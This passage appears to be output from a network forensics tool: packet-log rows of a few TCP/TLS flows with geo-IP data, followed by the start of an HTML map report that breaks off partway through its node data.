Ack=1664658685,bc2411360d0cbc24112907bb080045000028000040004006379455d00ac90a98980b0050fa087df78b286338acfd5010003f98aa0000,\".$.6\n..$.)....E..(..@.@.7.U.\n.\n....P..}..(c8..P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 14228, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113375016, \"\"ack\"\": 1664658685, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 39082, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:03:32.522965,21,TCP 23.207.106.113:443 -> 10.152.152.11:64035,23.207.106.113,10.152.152.11,443,64035,TCP,The Netherlands,Schiphol,16625,\"Akamai Technologies, Inc.\",52.2973,4.7946,23.207.96.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3134109863 Ack=1114682263,bc2411360d0cbc24112907bb08004500004765d040004006affd17cf6a710a98980b01bbfa23baceb8a74270b3975018007e251d0000150303001a8f20de46807b347e4cdc96343ed155ab6828f3bd45db9e16e9e5,.F.{4~L..4>.U.h(..E.....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 71, \"\"id\"\": 26064, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45053, \"\"src\"\": \"\"23.207.106.113\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64035, \"\"seq\"\": 3134109863, \"\"ack\"\": 1114682263, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 126, \"\"chksum\"\": 9501, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 21, \"\"version\"\": 771, \"\"len\"\": 26, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSAlert  level=143 descr=32 |<Raw  load=b'\\\\xdeF\\\\x80{4~L\\\\xdc\\\\x964>\\\\xd1U\\\\xabh(\\\\xf3\\\\xbdE\\\\xdb\\\\x9e\\\\x16\\\\xe9\\\\xe5' |>>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 09:03:32.523028,22,TCP 23.207.106.113:443 -> 10.152.152.11:64035,23.207.106.113,10.152.152.11,443,64035,TCP,The Netherlands,Schiphol,16625,\"Akamai Technologies, Inc.\",52.2973,4.7946,23.207.96.0/19,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3134109894 Ack=1114682263,bc2411360d0cbc24112907bb08004500002865d140004006b01b17cf6a710a98980b01bbfa23baceb8c64270b3975011007e24fe0000,\".$.6\n..$.)....E..(e.@.@.....jq\n......#....Bp..P..~$...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 26065, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45083, \"\"src\"\": \"\"23.207.106.113\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64035, \"\"seq\"\": 3134109894, \"\"ack\"\": 1114682263, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 126, \"\"chksum\"\": 9470, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:03:32.523335,23,TCP 10.152.152.11:64035 -> 23.207.106.113:443,10.152.152.11,23.207.106.113,64035,443,TCP,Internal,Private Network,,,,,,The Netherlands,Schiphol,16625,\"Akamai Technologies, Inc.\",52.2973,4.7946,23.207.96.0/19,R,,,Ether > IP > TCP,3,TCP R Seq=1114682263 Ack=1114682263,bc24112907bbbc2411360d0c080045000028000e40008006d5de0a98980b17cf6a71fa2301bb4270b3974270b39750040000a30e0000,\".$.)...$.6\n...E..(..@.....\n.....jq.#..Bp..Bp..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54750, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.207.106.113\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 443, \"\"seq\"\": 1114682263, \"\"ack\"\": 1114682263, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 41742, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:03:32.523335,24,TCP 10.152.152.11:64035 -> 23.207.106.113:443,10.152.152.11,23.207.106.113,64035,443,TCP,Internal,Private Network,,,,,,The Netherlands,Schiphol,16625,\"Akamai Technologies, Inc.\",52.2973,4.7946,23.207.96.0/19,R,,,Ether > IP > TCP,3,TCP R Seq=1114682263 Ack=1114682263,bc24112907bbbc2411360d0c080045000028000f40008006d5dd0a98980b17cf6a71fa2301bb4270b3974270b39750040000a30e0000,\".$.)...$.6\n...E..(..@.....\n.....jq.#..Bp..Bp..P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 15, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54749, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"23.207.106.113\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 443, \"\"seq\"\": 1114682263, \"\"ack\"\": 1114682263, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 41742, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:04:31.896765,25,TCP 96.16.53.163:443 -> 10.152.152.11:64039,96.16.53.163,10.152.152.11,443,64039,TCP,The Netherlands,Haarlem,20940,Akamai International B.V.,52.3803,4.6422,96.16.53.0/24,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4072977882 Ack=959402096,bc2411360d0cbc24112907bb080045000047319a40004006d0c0601035a30a98980b01bbfa27f2c4b5da392f50705018003f38900000150303001a17e960b506b90a0ff40e3a0b5456b97a531fe31fefaa24717630,\"`...\n...:.TV.zS.....$qv0\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 71, \"\"id\"\": 12698, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53440, \"\"src\"\": \"\"96.16.53.163\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64039, \"\"seq\"\": 4072977882, \"\"ack\"\": 959402096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 14480, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 21, \"\"version\"\": 771, \"\"len\"\": 26, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSAlert  level=23 descr=233 |<Raw  load=b'`\\\\xb5\\\\x06\\\\xb9\\\\n\\\\x0f\\\\xf4\\\\x0e:\\\\x0bTV\\\\xb9zS\\\\x1f\\\\xe3\\\\x1f\\\\xef\\\\xaa$qv0' |>>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 09:04:31.896794,26,TCP 96.16.53.163:443 -> 10.152.152.11:64039,96.16.53.163,10.152.152.11,443,64039,TCP,The Netherlands,Haarlem,20940,Akamai International B.V.,52.3803,4.6422,96.16.53.0/24,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=4072977913 Ack=959402096,bc2411360d0cbc24112907bb080045000028319b40004006d0de601035a30a98980b01bbfa27f2c4b5f9392f50705011003f38710000,\".$.6\n..$.)....E..(1.@.@...`.5.\n......'....9/PpP..?8q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12699, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 53470, \"\"src\"\": \"\"96.16.53.163\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64039, \"\"seq\"\": 4072977913, \"\"ack\"\": 959402096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 14449, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:04:31.896965,27,TCP 10.152.152.11:64039 -> 96.16.53.163:443,10.152.152.11,96.16.53.163,64039,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,20940,Akamai International B.V.,52.3803,4.6422,96.16.53.0/24,R,,,Ether > IP > TCP,3,TCP R Seq=959402096 Ack=959402096,bc24112907bbbc2411360d0c080045000028001040008006c2690a98980b601035a3fa2701bb392f5070392f50705004000068680000,\".$.)...$.6\n...E..(..@....i\n...`.5..'..9/Pp9/PpP...hh..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 16, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 49769, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"96.16.53.163\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64039, \"\"dport\"\": 443, \"\"seq\"\": 959402096, \"\"ack\"\": 959402096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 26728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:04:31.896980,28,TCP 10.152.152.11:64039 -> 96.16.53.163:443,10.152.152.11,96.16.53.163,64039,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,20940,Akamai International B.V.,52.3803,4.6422,96.16.53.0/24,R,,,Ether > IP > TCP,3,TCP R Seq=959402096 Ack=959402096,bc24112907bbbc2411360d0c080045000028001140008006c2680a98980b601035a3fa2701bb392f5070392f50705004000068680000,\".$.)...$.6\n...E..(..@....h\n...`.5..'..9/Pp9/PpP...hh..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 17, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 49768, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"96.16.53.163\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64039, \"\"dport\"\": 443, \"\"seq\"\": 959402096, \"\"ack\"\": 959402096, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 26728, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"151.101.206.172\", \"ip\": \"151.101.206.172\", \"packet_count\": 2, \"total_bytes_sent\": 1514, \"total_bytes_received\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1784451620.374604, \"last_seen\": 1784451620.374923, \"packets\": [{\"num\": 0, \"time\": 1784451620.374604, \"size\": 1514, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1784451620.374923, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Amsterdam\", \"lat\": 52.3759, \"lon\": 4.8975, \"asn\": 54113, \"isp\": \"Fastly, Inc.\", \"network\": \"151.101.204.0/22\"}, \"duration\": 0.0003190040588378906, \"avg_packet_size\": 784.0, \"packets_per_second\": 6269.512705530643}, {\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 28, \"total_bytes_sent\": 1173, \"total_bytes_received\": 8162, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\", \"HTTPRequest\", \"_TLSEncryptedContent\", \"TLS\"], \"ports_used\": [64097, 64008, 63963, 64035, 64039], \"first_seen\": 1784451620.374604, \"last_seen\": 1784451871.89698, \"packets\": [{\"num\": 0, \"time\": 1784451620.374604, \"size\": 1514, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1784451620.374923, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1784451634.196427, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1784451634.196471, \"size\": 66, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1784451634.19667, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1784451634.196707, \"size\": 459, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1784451634.196712, \"size\": 54, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1784451634.641353, \"size\": 542, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1784451634.641586, \"size\": 2974, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1784451634.641728, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1784451634.641736, \"size\": 550, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1784451634.641954, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1784451634.652039, \"size\": 562, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1784451634.699603, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1784451636.246635, \"size\": 1514, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1784451636.246758, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1784451644.527327, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1784451644.527573, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1784451644.527697, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 19, \"time\": 1784451644.527711, \"size\": 54, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1784451812.522965, \"size\": 85, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1784451812.523028, \"size\": 54, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1784451812.523335, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1784451812.523335, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 24, \"time\": 1784451871.896765, \"size\": 85, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1784451871.896794, \"size\": 54, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1784451871.896965, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1784451871.89698, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 251.52237606048584, \"avg_packet_size\": 333.39285714285717, \"packets_per_second\": 0.11132210357803947}, {\"id\": \"85.208.10.201\", \"ip\": \"85.208.10.201\", \"packet_count\": 16, \"total_bytes_sent\": 4856, \"total_bytes_received\": 849, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1784451634.196427, \"last_seen\": 1784451644.527711, \"packets\": [{\"num\": 2, \"time\": 1784451634.196427, \"size\": 66, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1784451634.196471, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1784451634.19667, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1784451634.196707, \"size\": 459, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1784451634.196712, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1784451634.641353, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1784451634.641586, \"size\": 2974, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1784451634.641728, \"size\": 54, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1784451634.641736, \"size\": 550, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1784451634.641954, 